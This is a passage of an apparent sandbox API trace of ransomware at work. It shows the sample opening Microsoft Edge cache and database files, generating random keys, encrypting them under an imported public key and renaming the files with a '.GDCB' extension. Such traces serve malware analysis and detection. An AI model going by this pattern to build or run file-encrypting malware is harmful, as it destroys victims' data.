(hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.938] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.939] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.943] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.946] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x11160, lpOverlapped=0x0) returned 1 [0291.954] VirtualAlloc (lpAddress=0x0, dwSize=0x11160, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.963] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f682f456[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f682f456[1].js.gdcb")) returned 1 [0291.966] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.970] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.972] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.972] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.977] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.977] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.977] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.977] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.980] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aaeb0) returned 1 [0291.980] CryptGetKeyParam (in: hKey=0x67aaeb0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.980] CryptEncrypt (in: hKey=0x67aaeb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.980] GetLastError () returned 0x0 [0291.980] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.981] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.983] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aaa30) returned 1 [0291.983] CryptGetKeyParam (in: hKey=0x67aaa30, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.983] CryptEncrypt (in: hKey=0x67aaa30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.983] GetLastError () returned 0x0 [0291.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.983] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.984] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.987] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.990] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x9940, lpOverlapped=0x0) returned 1 [0291.998] VirtualAlloc (lpAddress=0x0, dwSize=0x9940, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0292.006] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\fce27fce[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\fce27fce[1].js.gdcb")) returned 1 [0292.071] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0292.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.077] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0292.077] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.078] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0292.080] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.083] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.083] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0292.083] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.083] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0292.085] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67aaf70) returned 1 [0292.085] CryptGetKeyParam (in: hKey=0x67aaf70, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0292.085] CryptEncrypt (in: hKey=0x67aaf70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285c984*=0x100) returned 1 [0292.085] GetLastError () returned 0x0 [0292.086] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.086] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0292.088] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67aa8f0) returned 1 [0292.088] CryptGetKeyParam (in: hKey=0x67aa8f0, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0292.088] CryptEncrypt (in: hKey=0x67aa8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285c988*=0x100) returned 1 [0292.088] GetLastError () returned 0x0 [0292.088] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0292.089] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0292.093] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0292.096] ReadFile (in: hFile=0x470, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285c9c8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285c9c8*=0x80000, lpOverlapped=0x0) returned 1 [0292.118] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0292.138] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edb.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edb.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edb.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edb.log.gdcb")) returned 0 [0292.140] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4760) returned 1 [0292.144] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.146] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.146] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285c96c | out: pbBuffer=0x285c96c) returned 1 [0292.146] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.146] CryptAcquireContextW (in: phProv=0x285c81c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285c81c*=0x5c4e48) returned 1 [0292.150] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.152] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.153] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285c938 | out: pbBuffer=0x285c938) returned 1 [0292.153] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.153] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0292.156] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67aab30) returned 1 [0292.156] CryptGetKeyParam (in: hKey=0x67aab30, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0292.156] CryptEncrypt (in: hKey=0x67aab30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285c984*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285c984*=0x100) returned 1 [0292.156] GetLastError () returned 0x0 [0292.156] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.156] CryptAcquireContextW (in: phProv=0x285c80c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285c80c*=0x5c4760) returned 1 [0292.158] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285c810 | out: phKey=0x285c810*=0x67aab70) returned 1 [0292.158] CryptGetKeyParam (in: hKey=0x67aab70, dwParam=0x8, pbData=0x285c7fc, pdwDataLen=0x285c804, dwFlags=0x0 | out: pbData=0x285c7fc*=0x800, pdwDataLen=0x285c804*=0x4) returned 1 [0292.158] CryptEncrypt (in: hKey=0x67aab70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285c988*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285c988*=0x100) returned 1 [0292.158] GetLastError () returned 0x0 [0292.158] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.158] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\LogFiles\\edbtmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\logfiles\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0292.160] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0292.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.166] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.166] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0292.166] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.167] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0292.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.173] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.173] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0292.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.173] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0292.175] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67aafb0) returned 1 [0292.175] CryptGetKeyParam (in: hKey=0x67aafb0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0292.175] CryptEncrypt (in: hKey=0x67aafb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd580000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xd580000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0292.176] GetLastError () returned 0x0 [0292.176] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.176] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0292.178] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67aaaf0) returned 1 [0292.178] CryptGetKeyParam (in: hKey=0x67aaaf0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0292.178] CryptEncrypt (in: hKey=0x67aaaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd590000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xd590000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0292.178] GetLastError () returned 0x0 [0292.178] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.178] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\spartan.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\spartan.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0292.179] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd5a0000 [0292.183] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd5b0000 [0292.185] ReadFile (in: hFile=0x424, lpBuffer=0xd5b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285cc50, lpOverlapped=0x0 | out: lpBuffer=0xd5b0000*, lpNumberOfBytesRead=0x285cc50*=0x100000, lpOverlapped=0x0) returned 1 [0292.228] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0xd6c0000 [0292.296] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\spartan.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\spartan.edb"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DataStore\\Data\\nouser1\\120712-0049\\DBStore\\spartan.edb.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\datastore\\data\\nouser1\\120712-0049\\dbstore\\spartan.edb.gdcb")) returned 1 [0292.315] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0292.319] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.321] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0292.321] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0292.321] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0292.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0292.327] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0292.327] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.327] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0292.330] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67aa170) returned 1 [0292.330] CryptGetKeyParam (in: hKey=0x67aa170, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0292.330] CryptEncrypt (in: hKey=0x67aa170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd580000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd580000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0292.330] GetLastError () returned 0x0 [0292.330] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0292.330] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0292.333] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67aa1f0) returned 1 [0292.333] CryptGetKeyParam (in: hKey=0x67aa1f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0292.333] CryptEncrypt (in: hKey=0x67aa1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd590000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd590000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0292.333] GetLastError () returned 0x0 [0292.333] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0292.333] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\RecoveryStore.{3D88D67F-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\recoverystore.{3d88d67f-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0292.335] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0292.338] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0292.341] GetProcAddress (hModule=0x74c90000, 